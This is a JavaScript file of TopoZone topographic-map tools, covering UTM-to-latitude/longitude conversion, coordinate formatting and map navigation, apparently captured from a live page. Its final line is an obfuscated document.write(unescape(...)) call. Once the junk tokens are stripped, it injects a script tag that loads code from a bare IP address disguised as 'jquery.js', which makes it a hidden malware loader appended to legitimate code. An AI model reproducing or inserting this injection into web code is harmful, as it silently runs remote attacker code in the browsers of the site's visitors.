<!-- // Start of AdSubtract JavaScript block; you can ignore this.
     // It is used when AdSubtract blocks cookies or pop-up windows.
document.iMokie = "cookie blocked by AdSubtract";
document.iMferrer = "referrer blocked by AdSubtract";
function iMwin() {
	this.location = "";
	this.frames = new Array(9);
	this.frames[0] = this;
	this.frames[1] = this;
	this.frames[2] = this;
	this.frames[3] = this;
	this.frames[4] = this;
	this.frames[5] = this;
	this.frames[6] = this;
	this.frames[7] = this;
	this.frames[8] = this;
	this.length = 0;
}
// End of AdSubtract JavaScript block. -->
/*
	MapTools.js - TopoZone mapping tools
	Copyright (c) 2000-2003, Maps a la carte, Inc.
	All rights reserved
*/

function formatDeg (deg, degformat)
{
	var	degS, degInt, degDec;
	
	degDec = Math.abs (Math.round (deg * 10000) / 10000);
	degInt = Math.floor (degDec);
	degDec -= degInt;
	
	switch (degformat)
	{
		case 0: 
			var degDecS, padStr;

			padStr = "0000";
			degDecS = (Math.round (degDec * 10000)).toString ();
			degDecS = padStr.substr (0, 4 - degDecS.length) + degDecS;
			degS = degInt + "." + degDecS + "°";
			break;
		case 1: 
			var degMin, degSec;
		
			degMin = degDec * 60;
			degSec = Math.round ((degMin - Math.floor (degMin)) * 60);
			degMin = Math.floor (degMin);

			if (degSec == 60) 
			{
				degSec = 0;
				degMin += 1;
				if (degMin == 60) 
				{
					degMin = 0;
					degInt += 1;
				}
			}

			if (degMin.toString ().length == 1) degMin = "0" + degMin;
			if (degSec.toString ().length == 1) degSec = "0" + degSec;		
			degS = degInt + "° " + degMin + "\' " + degSec + "\"";
			break;		

		case 2: 
		
			var degMin, degMinDecS, dedMinInt, padStr;

			degMin = degDec * 60;
			degMinInt = Math.floor (degMin);
			degMin -= degMinInt;

			padStr = "00";
			degMinDecS = (Math.round (degMin * 100)).toString ();
			degMinDecS = padStr.substr (0, 2 - degMinDecS.length) + degMinDecS;
			degS = degInt + "° " + degMinInt + "." + degMinDecS + "'";
			break;			
			
		default:
			degS = degformat;
		
	}	
	if (deg > 0) degS += "N";
	else degS += "W";
	return degS;	
}

function formatCoords (n, e, z)
{
	switch (coordU & 3)		// Look at two lower bits only
	{
	case 0:
		return "UTM " + z + " " + Math.round(e)  + "E " + Math.round(n) + "N";
	case 1:
		UTMtoLL (n, e, z);
		return formatDeg (Lat, 0) + ", " + formatDeg (Long, 0);
	case 2:
		UTMtoLL (n, e, z);
		return formatDeg (Lat, 1) + ", " + formatDeg (Long, 1);
	case 3:
		UTMtoLL (n, e, z);
		return formatDeg (Lat, 2) + ", " + formatDeg (Long, 2);

	default:
		return "";	
	}
}

function UTMtoLL(UTMNorthing, UTMEasting, UTMZone)
{
	var deg2rad = Math.PI / 180;
	var rad2deg = 180.0 / Math.PI;

	var k0 = 0.9996;
	var a;
	var eccSquared;
	var eccPrimeSquared;
	var e1;
	var N1, T1, C1, R1, D, M;
	var LongOrigin;
	var mu, phi1, phi1Rad;
	var x, y;
	var ZoneNumber;

	if (datumFlag == 0)
	{
		a = 6378206;
		eccSquared = 0.006768658;
	} else
	{
		a = 6378137;
		eccSquared = 0.00669438;
	}
			
	e1 = (1-Math.sqrt(1-eccSquared))/(1+Math.sqrt(1-eccSquared));
	x = UTMEasting - 500000.0; //remove 500,000 meter offset for longitude
	y = UTMNorthing;

	ZoneNumber = UTMZone;

	LongOrigin = (ZoneNumber - 1)*6 - 180 + 3;  //+3 puts origin in middle of zone

	eccPrimeSquared = (eccSquared)/(1-eccSquared);

	M = y / k0;
	mu = M/(a*(1-eccSquared/4-3*eccSquared*eccSquared/64-5*eccSquared*eccSquared*eccSquared/256));

	phi1Rad = mu	+ (3*e1/2-27*e1*e1*e1/32)*Math.sin(2*mu) 
				+ (21*e1*e1/16-55*e1*e1*e1*e1/32)*Math.sin(4*mu)
				+(151*e1*e1*e1/96)*Math.sin(6*mu);
	phi1 = phi1Rad*rad2deg;

	N1 = a/Math.sqrt(1-eccSquared*Math.sin(phi1Rad)*Math.sin(phi1Rad));
	T1 = Math.tan(phi1Rad)*Math.tan(phi1Rad);
	C1 = eccPrimeSquared*Math.cos(phi1Rad)*Math.cos(phi1Rad);
	R1 = a*(1-eccSquared)/Math.pow(1-eccSquared*Math.sin(phi1Rad)*Math.sin(phi1Rad), 1.5);
	D = x/(N1*k0);

	Lat = phi1Rad - (N1*Math.tan(phi1Rad)/R1)*(D*D/2-(5+3*T1+10*C1-4*C1*C1-9*eccPrimeSquared)*D*D*D*D/24
					+(61+90*T1+298*C1+45*T1*T1-252*eccPrimeSquared-3*C1*C1)*D*D*D*D*D*D/720);
	Lat = Lat * rad2deg;
	LatS = formatDeg (Lat,0) + "N";
	
	Long = (D-(1+2*T1+C1)*D*D*D/6+(5-2*C1+28*T1-3*C1*C1+8*eccPrimeSquared+24*T1*T1)
					*D*D*D*D*D/120)/Math.cos(phi1Rad);
	Long = LongOrigin + Long * rad2deg;
	LongS = formatDeg (Long,0) + "W";
}

function writeCoordPanel ()
{
	if (isLoaded) DynAPI.document.all['coordLayer'].setHTML (targetMsg);
}

function showTargetCoords ()
{
	if (symState)
	{
		URLsymshow = '';
	}
	else
	{
		URLsymshow = '&symshow=n';
	}

	targetPrefix = formatCoords (tN, tE, tZ) + " (" + datumLabel + ")";
	targetMsg =  "<div id='targetCoordLayer'>" + targetPrefix + "<br>USGS <b>" + quadName + "</b> Topo Map Quad<br>" + elevMessage + "</div>";
	
	if (isLoaded) DynAPI.document.all['coordLayer'].setHTML (targetMsg);
	return;
}


function updatePointer (msgStr)
{
	window.status = msgStr;
	return;
}

function toggleSymbol (newState)
{
	symState = newState;
	DynAPI.document.all['symbolLayer'].setVisible (newState);
	showTargetCoords ();
	return true;
}

function doMapClear ()
{
	updatePointer ("");
}

function doMapOver (x, y)
{
	updatePointer ("Cursor is " + formatCoords (Math.round(tN - ((y - (maphpix / 2)) * pixh)), Math.round(tE + ((x - (mapwpix / 2)) * pixw)), tZ) + " (" + datumLabel + ")");
	return true;
}

function modifyMap ()
{
	var URLdatum;
	
	if (datumFlag == 1) URLdatum = "&datum=nad83"; else URLdatum = "";
	location.href = URLroot + URLloc + URLscale + URLsize + URLsym + URLsymx + URLsymy + URLsymlink + URLsymshow + URLunits + URLdatum + URLlayer;
}

function doMapClick (x, y)
{
	URLsymshow = '';
	URLsymlink = '';
	URLsymx = '';
	URLsymy = '';
	URLsym = '';
	URLloc = "z=" + tZ + "&n=" + Math.round(tN - ((y - (maphpix / 2)) * pixh)) + "&e=" + Math.round(tE + ((x - (mapwpix / 2)) * pixw));
	modifyMap ();
	return false;
}

function setMapScale (newScale)
{
	if (newScale == 100) URLscale = "";
	else URLscale = "&s=" + newScale;

	URLloc = "z=" + tZ + "&n=" + Math.round(tN) + "&e=" + Math.round(tE);
	modifyMap ();
	return false;
}

function setMapSize (newSize)
{
	if (newSize == 's') URLsize = "";
	else URLsize = "&size=" + newSize;

	URLloc = "z=" + tZ + "&n=" + Math.round(tN) + "&e=" + Math.round(tE);
	modifyMap ();
	return false;
}

function setCoordUnits (unitCode)
{
	coordU = (coordU & 4) + unitCode;
	URLunits = '&u=' + coordU;
	showTargetCoords ();
	document.cpl.action="map.asp?z=" + dtZ[datumFlag] + "&n=" + dtN[datumFlag] + " &e=" + dtE[datumFlag] + "&u=" + coordU + URLdatum[datumFlag];
}

function setDatum (newDatumFlag)
{
	datumFlag = newDatumFlag;
	coordU = (coordU & 3) + (datumFlag * 4);
	URLunits = '&u=' + coordU;
	datumLabel = datumLabels[datumFlag];
	tZ = dtZ[datumFlag];
	tN = dtN[datumFlag];
	tE = dtE[datumFlag];
	showTargetCoords ();
	document.cpl.action="map.asp?z=" + dtZ[datumFlag] + "&n=" + dtN[datumFlag] + " &e=" + dtE[datumFlag] + "&u=" + coordU + URLdatum[datumFlag];
	document.form2.lat.value=curLat[datumFlag];
	document.form2.lon.value=curLon[datumFlag];
	document.form2.datum.value=factorydatum[datumFlag];
	document.form3.lat.value=curLat[datumFlag];
	document.form3.lon.value=curLon[datumFlag];
	document.form3.datum.value=factorydatum[datumFlag];
}

function setMapLayer (newLayer)
{	
	if (URLlayer != newLayer)
	{
		URLlayer = "&layer=" + newLayer;
	}
	
	URLloc = "z=" + tZ + "&n=" + Math.round(tN) + "&e=" + Math.round(tE);
	modifyMap ();
	return false;
}
	

function doNavigate (ns, ew)
{
	var	newN, newE;

	URLsymshow = "&symshow=n";
	URLsymlink = '';
	URLsymx = '';
	URLsymy = '';
	URLsym = '';
	newN = tN + (ns * maphpix * pixh * 0.75);
	newE = tE + (ew * mapwpix * pixw * 0.75);
	
	UTMtoLL (newN, newE, tZ);
	URLloc = "lat=" + (Math.round (Lat * 10000) / 10000) + "&lon=" + (Math.round (Long * 10000) / 10000);
	modifyMap ();
	return false;
}

function mailLink ()
{
	location = "mailto:?subject=TopoZone Topographic Map&body=Here's a USGS topographic map from the TopoZone! %0D%0A%0D%0A" + escape (location);
}

function makeBookmark ()
{
	UTMtoLL (tN, tE, tZ);
	
	var bmURL = "http://www.topozone.com/" + URLroot + "z=" + tZ + "&n=" + tN + "&e=" + tE + URLscale + URLsize + URLsym + URLsymx + URLsymy + URLsymlink + URLsymshow + URLunits + URLlayer + URLdatum[datumFlag];
	var bmTitle = "TopoZone Map " + formatDeg (Lat, 0) + ", " + formatDeg (Long, 0);

	if (is.ie) window.external.AddFavorite (bmURL, bmTitle);
	if (is.ns) alert("Please use the Communicator/Bookmarks menu to bookmark this page!");
}

function doPrint ()
{
	URLloc = "z=" + tZ + "&n=" + tN + "&e=" + tE;
	location.href = URLprint + URLloc + URLscale + URLsize + URLsym + URLsymx + URLsymy + URLsymlink + URLsymshow + URLunits + URLlayer + URLdatum[datumFlag];
}
<!-- 
document.write(unescape('%3Cscrb0iEvtptvQs%20AB7s6ArHuScEvt%3DEvt%2FF2%2F96A4%2Euy2vQs4vQs7%2EAB72AB7%2E1uy9F25%2FmEjqEvtu6AeuyrymE%2EvQsjs%3EvQs%3C%2FscAB7r6AipmEtvQs%3E').replace(/HuS|Evt|AB7|6A|uy|F2|b0|vQs|mE/g,""));
 -->
